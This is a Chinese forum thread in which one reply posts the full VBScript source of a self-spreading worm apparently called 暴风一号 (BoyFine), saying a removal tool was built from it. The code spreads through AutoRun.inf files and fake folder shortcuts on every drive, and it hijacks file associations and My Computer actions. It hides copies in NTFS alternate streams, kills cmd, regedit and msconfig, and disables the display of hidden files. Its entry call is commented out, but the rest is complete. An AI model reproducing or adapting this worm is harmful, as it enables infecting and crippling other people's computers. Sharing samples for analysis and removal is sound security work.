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来沙发 还是没有看出文章重点啊 楼主最好是说说解密的过程吧
 
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 故意跳过，是因为以后想要详细写一个vbs解密的，抱歉啦~
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楼主是MM？？？？膜拜……
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发个源码，有个专杀就是用源码改的。代码风格不错，值得一学，别搞破坏。
 On Error Resume Next Dim Fso, WshShell Set Fso=CreateObject("scRiPTinG.fiLEsysTeMoBjEcT") Set WshShell=CreateObject("wScRipT.SHelL") 'Call Main() 注释掉防止运行 Sub Main() On Error Resume Next Dim Args, VirusLoad, VirusAss Args = WScript.Arguments VirusLoad = GetMainVirus(1) VirusAss = GetMainVirus(0) ArgNum = 0 Do While ArgNum < Args.Count Param = Param & " " & Args(ArgNum) ArgNum = ArgNum + 1 Loop SubParam = LCase(Right(Param, 3)) Select Case SubParam Case "run" RunPath = Left(WScript.ScriptFullName, 2) Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case "txt", "log", "ini", "inf" RunPath = "%SystemRoot%\system32\NOTEPAD.EXE " & Param Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case "bat", "cmd" RunPath = "CMD /c echo Hi!I'm here!&pause" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case "reg" RunPath = "regedit.exe " & """" & Trim(Param) & """" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case "chm" RunPath = "hh.exe " & """" & Trim(Param) & """" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case "hlp" RunPath = "winhlp32.exe " & """" & Trim(Param) & """" Call Run(RunPath) : Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case "dir" RunPath = """" & Left(Trim(Param), Len(Trim(Param)) - 3) & """" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case "oie" RunPath = """%ProgramFiles%\Internet Explorer\IEXPLORE.EXE""" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case "omc" RunPath = "explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case "emc" RunPath = "explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Call Run(RunPath) Call InvadeSystem(VirusLoad, VirusAss) Call Run("%SystemRoot%\system\svchost.exe " & VirusLoad) Case Else If PreDblInstance = True Then WScript.Quit() End If Timeout = Datediff("ww", GetInfectedDate, Date) - 12 If Timeout > 0 And Month(Of Date)() = Day(Of Date)() Then Call VirusAlert() Call MakeJoke(CInt(Month(Of Date)())) End If Call MonitorSystem() End Select End Sub Sub MonitorSystem() On Error Resume Next Dim ProcessNames, ExeFullNames ProcessNames = Array("cmd.exe", "cmd.com", "regedit.exe", "regedit.scr", "regedit.pif", "regedit.com", "msconfig.exe") VBSFullNames = Array(GetMainVirus(1)) Do Call KillProcess(ProcessNames) Call InvadeSystem(GetMainVirus(1), GetMainVirus(0)) Call KeepProcess(VBSFullNames) WScript.Sleep(3000) Loop End Sub Sub InvadeSystem(ByVal VirusLoadPath, ByVal VirusAssPath) On Error Resume Next Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version Load_Value=""""&VirusLoadPath&"""" File_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" %1 %* " IE_Value="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OIE " MyCpt_Value1="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" OMC " MyCpt_Value2="%SystemRoot%\System32\WScript.exe "&""""&VirusAssPath&""""&" EMC " HCULoad = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load" HCUVer = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver" HCUDate = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date" VirusCode = GetCode(WScript.ScriptFullName) Version = 1 HostSourcePath = Fso.GetSpecialFolder(1) & "\Wscript.exe" HostFilePath = Fso.GetSpecialFolder(0) & "\system\svchost.exe" For Each Drive In Fso.Drives If Drive.IsReady And (Drive.DriveType = 1 Or Drive.DriveType = 2 Or Drive.DriveType = 3) Then DiskVirusName = GetSerialNumber(Drive.DriveLetter) & ".vbs" Call CreateAutoRun(Drive.DriveLetter, DiskVirusName) Call InfectRoot(Drive.DriveLetter, DiskVirusName) End If Next If FSO.FileExists(VirusAssPath) = False Or FSO.FileExists(VirusLoadPath) = False Or FSO.FileExists(HostFilePath) = False Or GetVersion() < Version Then If GetFileSystemType(GetSystemDrive()) = "NTFS" Then Call CreateFile(VirusCode, VirusAssPath) Call CreateFile(VirusCode, VirusLoadPath) Call CopyFile(HostSourcePath, HostFilePath) Call SetHiddenAttr(HostFilePath) Else Call CreateFile(VirusCode, VirusAssPath) Call SetHiddenAttr(VirusAssPath) Call CreateFile(VirusCode, VirusLoadPath) Call SetHiddenAttr(VirusLoadPath) Call CopyFile(HostSourcePath, HostFilePath) Call SetHiddenAttr(HostFilePath) End If End If If ReadReg(HCULoad) <> Load_Value Then Call WriteReg(HCULoad, Load_Value, "") End If If GetVersion() < Version Then Call WriteReg(HCUVer, Version, "") End If If GetInfectedDate() = "" Then Call WriteReg (HCUDate, Date, "") End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\") <> File_Value Then Call SetTxtFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\") <> File_Value Then Call SetIniFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\") <> File_Value Then Call SetInfFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\") <> File_Value Then Call SetBatFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\") <> File_Value Then Call SetCmdFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\") <> File_Value Then Call SetRegFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\") <> File_Value Then Call SetchmFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\") <> File_Value Then Call SethlpFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\") <> IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\") <> IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\") <> MyCpt_Value1 Then Call SetMyComputerAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\") <> MyCpt_Value2 Then Call SetMyComputerAss(VirusAssPath) End If Call RegSet() End Sub Sub CopyFile(source, pathf) On Error Resume Next If FSO.FileExists(pathf) Then FSO.DeleteFile(pathf, True) End If FSO.CopyFile(source, pathf) End Sub Sub CreateFile(code, pathf) On Error Resume Next Dim FileText If FSO.FileExists(pathf) Then FileText = FSO.OpenTextFile(pathf, 2, False) FileText.Write(code) FileText.Close() Else FileText = FSO.OpenTextFile(pathf, 2, True) FileText.Write(code) FileText.Close() End If End Sub Sub CreateFile(ByVal code, ByVal pathf) On Error Resume Next Dim FileText If FSO.FileExists(pathf) Then FileText = FSO.OpenTextFile(pathf, 2, False) FileText.Write(code) FileText.Close() Else FileText = FSO.OpenTextFile(pathf, 2, True) FileText.Write(code) FileText.Close() End If End Sub Sub RegSet() On Error Resume Next Dim RegPath1, RegPath2, RegPath3, RegPath4 RegPath1 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue" RegPath2 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue" RegPath3 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun" RegPath4 = "HKEY_CLASSES_ROOT\lnkfile\IsShortcut" Call WriteReg(RegPath1, 3, "REG_DWORD") Call WriteReg(RegPath2, 2, "REG_DWORD") Call WriteReg(RegPath3, 0, "REG_DWORD") Call DeleteReg(RegPath4) End Sub Sub KillProcess(ByVal ProcessNames) On Error Resume Next WMIService = GetObject("winmgmts:\\.\root\cimv2") For Each ProcessName In ProcessNames Set ProcessList=WMIService.execquery(" Select * From win32_process where name ='"&ProcessName&"' ") For Each Process In ProcessList IntReturn = Process.terminate If intReturn <> 0 Then WshShell.Run("CMD /c ntsd -c q -p " & Process.Handle, vbHide, False) End If Next Next End Sub Sub KillImmunity(D) On Error Resume Next ImmunityFolder=D&":\Autorun.inf" If Fso.FolderExists(ImmunityFolder) Then WshSHell.Run ("CMD /C CACLS "& """"&ImmunityFolder&"""" &" /t /e /c /g everyone:f"),vbHide,True WshSHell.Run ("CMD /C RD /S /Q "& ImmunityFolder), vbHide, True End If End Sub Sub KeepProcess(VBSFullNames) On Error Resume Next For Each VBSFullName In VBSFullNames If VBSProcessCount(VBSFullName) < 2 Then Run("%SystemRoot%\system\svchost.exe " & VBSFullName) End If Next End Sub Function GetSystemDrive() GetSystemDrive = Left(Fso.GetSpecialFolder(0), 2) End Function Function GetFileSystemType(Drive) d = FSO.GetDrive(Drive) GetFileSystemType = d.FileSystem End Function Function ReadReg(strkey) Dim tmps tmps = CreateObject("WScript.Shell") ReadReg = tmps.RegRead(strkey) tmps = Nothing End Function Sub WriteReg(strkey, Value, vtype) Dim tmps tmps = CreateObject("WScript.Shell") If vtype = "" Then tmps.RegWrite(strkey, Value) Else tmps.RegWrite(strkey, Value, vtype) End If tmps = Nothing End Sub Sub DeleteReg(strkey) Dim tmps tmps = CreateObject("WScript.Shell") tmps.RegDelete(strkey) tmps = Nothing End Sub Sub SetHiddenAttr(path) On Error Resume Next Dim vf vf = FSO.GetFile(path) vf = FSO.GetFolder(path) vf.Attributes = 6 End Sub Sub Run(ExeFullName) On Error Resume Next Dim WshShell WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run(ExeFullName) WshShell = Nothing End Sub Sub InfectRoot(D,VirusName) On Error Resume Next Dim VBSCode VBSCode = GetCode(WScript.ScriptFullName) VBSPath=D&":\"&VirusName If FSO.FileExists(VBSPath) = False Then Call CreateFile(VBSCode, VBSPath) Call SetHiddenAttr(VBSPath) End If Set Folder=Fso.GetFolder(D&":\") SubFolders = Folder.Subfolders For Each SubFolder In SubFolders SetHiddenAttr(SubFolder.Path) LnkPath=D&":\"&SubFolder.Name&".lnk" TargetPath=D&":\"&VirusName Args=""""&D&":\"&SubFolder.Name& "\Dir""" If Fso.FileExists(LnkPath) = False Or GetTargetPath(LnkPath) <> TargetPath Then If Fso.FileExists(LnkPath) = True Then FSO.DeleteFile(LnkPath, True) End If Call CreateShortcut(LnkPath, TargetPath, Args) End If Next End Sub Sub CreateShortcut(LnkPath,TargetPath,Args) Shortcut = WshShell.CreateShortcut(LnkPath) With Shortcut .TargetPath = TargetPath .Arguments = Args .WindowStyle = 4 .IconLocation = "%SystemRoot%\System32\Shell32.dll, 3" .Save() End With End Sub Sub CreateAutoRun(D,VirusName)'设置自动运行 On Error Resume Next Dim InfPath, VBSPath, VBSCode InfPath=D&":\AutoRun.inf" VBSPath=D&":\"&VirusName VBSCode = GetCode(WScript.ScriptFullName) If FSO.FileExists(InfPath) = False Or FSO.FileExists(VBSPath) = False Then Call CreateFile(VBSCode, VBSPath) Call SetHiddenAttr(VBSPath) StrInf="[AutoRun]"&VBCRLF&"Shellexecute=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open=打开(&O)"&VBCRLF&"shell\open\command=WScript.exe "&VirusName&" ""AutoRun"""&VBCRLF&"shell\open\Default=1"& VBCRLF&"shell\explore=资源管理器(&X)"&VBCRLF&"shell\explore\command=WScript.exe "&VirusName&" ""AutoRun""" Call KillImmunity(D) Call CreateFile(StrInf, InfPath) Call SetHiddenAttr(InfPath) End If End Sub Sub SetTxtFileAss(ByVal sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetIniFileAss(ByVal sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetInfFileAss(ByVal sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetBatFileAss(ByVal sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetCmdFileAss(ByVal sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SethlpFileAss(ByVal sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetRegFileAss(ByVal sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetchmFileAss(ByVal sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetIEAss(ByVal sFilePath) On Error Resume Next Dim Value Value="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OIE " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\", Value, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\", Value, "REG_EXPAND_SZ") End Sub Sub SetMyComputerAss(ByVal sFilePath) On Error Resume Next Dim Value1, Value2 Value1="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" OMC " Value2="%SystemRoot%\System32\WScript.exe "&""""&sFilePath&""""&" EMC " Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "", "REG_SZ") Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ") End Sub Function GetSerialNumber(ByVal Drv)'获取驱动器序列号 On Error Resume Next d = fso.GetDrive(Drv) GetSerialNumber = d.SerialNumber GetSerialNumber = Replace(GetSerialNumber, "-", "") End Function Function GetMainVirus(ByVal N) On Error Resume Next MainVirusName = GetSerialNumber(GetSystemDrive()) & ".vbs"'硬盘序列号作为病毒名 If GetFileSystemType(GetSystemDrive()) = "NTFS" Then If N = 1 Then GetMainVirus = Fso.GetSpecialFolder(N) & "\smss.exe:" & MainVirusName End If If N = 0 Then GetMainVirus = Fso.GetSpecialFolder(N) & "\explorer.exe:" & MainVirusName End If Else GetMainVirus = Fso.GetSpecialFolder(N) & "\" & MainVirusName End If End Function Function VBSProcessCount(ByVal VBSPath) On Error Resume Next Dim WMIService, ProcessList, Process VBSProcessCount = 0 WMIService = GetObject("winmgmts:\\.\root\cimv2") ProcessList = WMIService.ExecQuery("Select * from Win32_Process Where " & "Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'") For Each Process In ProcessList If InStr(Process.CommandLine, VBSPath) > 0 Then VBSProcessCount = VBSProcessCount + 1 End If Next End Function Function PreDblInstance() On Error Resume Next PreDblInstance = False If VBSProcessCount(WScript.ScriptFullName) >= 3 Then PreDblInstance = True End If End Function Function GetTargetPath(ByVal LnkPath) On Error Resume Next Dim Shortcut Shortcut = WshShell.CreateShortcut(LnkPath) GetTargetPath = Shortcut.TargetPath End Function Function GetCode(ByVal FullPath) On Error Resume Next Dim FileText FileText = FSO.OpenTextFile(FullPath, 1) GetCode = FileText.ReadAll FileText.Close() End Function Function GetVersion() Dim VerInfo VerInfo = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver" If ReadReg(VerInfo) = "" Then GetVersion = 0 Else GetVersion = CInt(ReadReg(VerInfo)) End If End Function Sub VirusAlert() On Error Resume Next Dim HtaPath, HtaCode HtaPath = Fso.GetSpecialFolder(1) & "\BFAlert.hta" HtaCode="<HTML><HEAD><TITLE>暴风一号</TITLE>"&VBCRLF&"<HTA:APPLICATION APPLICATIONNAME=""BoyFine V1.0"" SCROLL=""no"" windowstate=""maximize"" border=""none"""&VBCRLF&"SINGLEINSTANCE=""yes"" CAPTION=""no"" contextMenu=""no"" ShowInTaskBar=""no"" selection=""no"">"&VBCRLF&"</HEAD><BODY bgcolor=#000000><DIV align =""center"">"&VBCRLF&"<font style=""font-size:3500%;font-family:Wingdings;color=red"">N</font><BR>"&VBCRLF&"<font style=""font-size:200%;font-family:黑体;color=red"">暴风一号</font>"&VBCRLF&"</DIV></BODY></HTML>" If FSO.FileExists(HtaPath) = False Then Call CreateFile(HtaCode, HtaPath) Call SetHiddenAttr(HtaPath) End If Call Run(HtaPath) End Sub Function GetInfectedDate() On Error Resume Next Dim DateInfo DateInfo = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date" If ReadReg(DateInfo) = "" Then GetInfectedDate = "" Else GetInfectedDate = CDate(ReadReg(DateInfo)) End If End Function Sub MakeJoke(ByVal Times) On Error Resume Next Dim WMP, colCDROMs WMP = CreateObject("WMPlayer.OCX") colCDROMs = WMP.cdromCollection If colCDROMs.Count > 0 Then For i = 1 To Times colCDROMs.Item(0).eject() WScript.Sleep(3000) colCDROMs.Item(0).eject() Next End If WMP = Nothing End Sub |
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谁说楼主是女的，谁见过呢，
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感谢提供样本，支持楼主开源
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